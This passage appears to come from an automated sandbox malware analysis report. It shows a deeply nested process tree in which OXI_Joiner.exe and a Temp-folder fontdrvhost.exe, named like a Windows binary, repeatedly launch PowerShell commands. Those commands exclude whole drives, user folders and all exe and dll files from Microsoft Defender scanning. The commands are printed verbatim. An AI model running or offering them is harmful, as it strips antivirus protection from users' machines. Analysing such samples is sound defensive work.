        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        49⤵
        
        PID:13572
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        49⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5048
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        46⤵
        
        PID:12836
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        47⤵
        
        PID:13148
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        48⤵
        
        PID:13784
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        49⤵
        Executes a command shell one-liner
        
        PID:13868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        50⤵
        
        PID:14248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        50⤵
        
        PID:16628
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        47⤵
        
        PID:13288
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        48⤵
        
        PID:13224
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        49⤵
        
        PID:14296
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        50⤵
        Executes a command shell one-liner
        
        PID:8604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        51⤵
        
        PID:13700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        51⤵
        
        PID:12948
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        48⤵
        
        PID:12984
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        49⤵
        
        PID:5040
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        50⤵
        
        PID:8444
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        51⤵
        
        PID:8840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        52⤵
        
        PID:13884
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        52⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        49⤵
        
        PID:13412
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        50⤵
        
        PID:13732
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        51⤵
        
        PID:13444
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        52⤵
        
        PID:11136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        53⤵
        
        PID:13736
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        53⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13944
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        50⤵
        
        PID:13828
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        51⤵
        
        PID:14188
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        52⤵
        
        PID:3672
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        53⤵
        Executes a command shell one-liner
        
        PID:7896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        54⤵
        
        PID:13904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        54⤵
        
        PID:14104
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        51⤵
        
        PID:14280
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        52⤵
        
        PID:1624
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        53⤵
        
        PID:14224
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        54⤵
        Executes a command shell one-liner
        
        PID:14368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        55⤵
        
        PID:14656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        55⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        52⤵
        
        PID:7416
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        53⤵
        
        PID:9508
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        54⤵
        
        PID:14644
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        55⤵
        Executes a command shell one-liner
        
        PID:14752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        56⤵
        
        PID:15232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        56⤵
        
        PID:10092
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        53⤵
        
        PID:7712
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        54⤵
        
        PID:1288
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        55⤵
        
        PID:15012
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        56⤵
        
        PID:15148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        57⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        57⤵
        
        PID:6972
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        54⤵
        
        PID:1204
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        55⤵
        
        PID:13480
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        56⤵
        
        PID:8952
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        57⤵
        Executes a command shell one-liner
        
        PID:7316
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        58⤵
        
        PID:14548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        58⤵
        
        PID:6556
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        55⤵
        
        PID:14356
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        56⤵
        
        PID:14600
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        57⤵
        
        PID:944
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        58⤵
        Executes a command shell one-liner
        
        PID:10244
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        59⤵
        
        PID:8304
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        59⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15008
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        56⤵
        
        PID:14636
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        57⤵
        
        PID:14908
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        58⤵
        
        PID:15164
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        59⤵
        
        PID:15348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        60⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        60⤵
        
        PID:8480
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        57⤵
        
        PID:14976
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        58⤵
        
        PID:15352
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        59⤵
        
        PID:9752
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        60⤵
        
        PID:9872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        61⤵
        
        PID:2344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        61⤵
        
        PID:12912
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        58⤵
        
        PID:3964
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        59⤵
        
        PID:1856
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        60⤵
        
        PID:8124
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        61⤵
        Executes a command shell one-liner
        
        PID:10228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        62⤵
        
        PID:9412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        62⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10772
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        59⤵
        
        PID:14048
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        60⤵
        
        PID:8260
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        61⤵
        
        PID:14804
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        62⤵
        Executes a command shell one-liner
        
        PID:8196
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        63⤵
        
        PID:15044
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        60⤵
        
        PID:14736
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        61⤵
        
        PID:10384
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        62⤵
        
        PID:5268
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        63⤵
        
        PID:5460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        64⤵
        
        PID:15468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        64⤵
        
        PID:9668
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        61⤵
        
        PID:10260
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        62⤵
        
        PID:9300
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        63⤵
        
        PID:15656
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        64⤵
        
        PID:15808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        65⤵
        
        PID:16180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        65⤵
        
        PID:15628
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        62⤵
        
        PID:14740
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        63⤵
        
        PID:14696
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        64⤵
        
        PID:16116
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        65⤵
        
        PID:16256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        66⤵
        
        PID:15904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        66⤵
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        63⤵
        
        PID:3980
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        64⤵
        
        PID:2132
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        65⤵
        
        PID:5700
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        66⤵
        
        PID:10348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        67⤵
        
        PID:15832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        67⤵
        
        PID:15256
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        64⤵
        
        PID:15404
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        65⤵
        
        PID:15636
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        66⤵
        
        PID:10740
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        67⤵
        Executes a command shell one-liner
        
        PID:11600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        68⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10276
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        68⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        65⤵
        
        PID:15800
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        66⤵
        
        PID:16044
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        67⤵
        
        PID:16076
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        68⤵
        
        PID:16228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        69⤵
        
        PID:7680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        69⤵
        
        PID:13320
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        66⤵
        
        PID:16156
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        67⤵
        
        PID:10832
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        68⤵
        
        PID:8036
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        69⤵
        
        PID:10756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        70⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10376
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        70⤵
        
        PID:14020
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        67⤵
        
        PID:3096
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        68⤵
        
        PID:11044
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        69⤵
        
        PID:15488
        
        C:\Windows\System32\cmd.exe
        
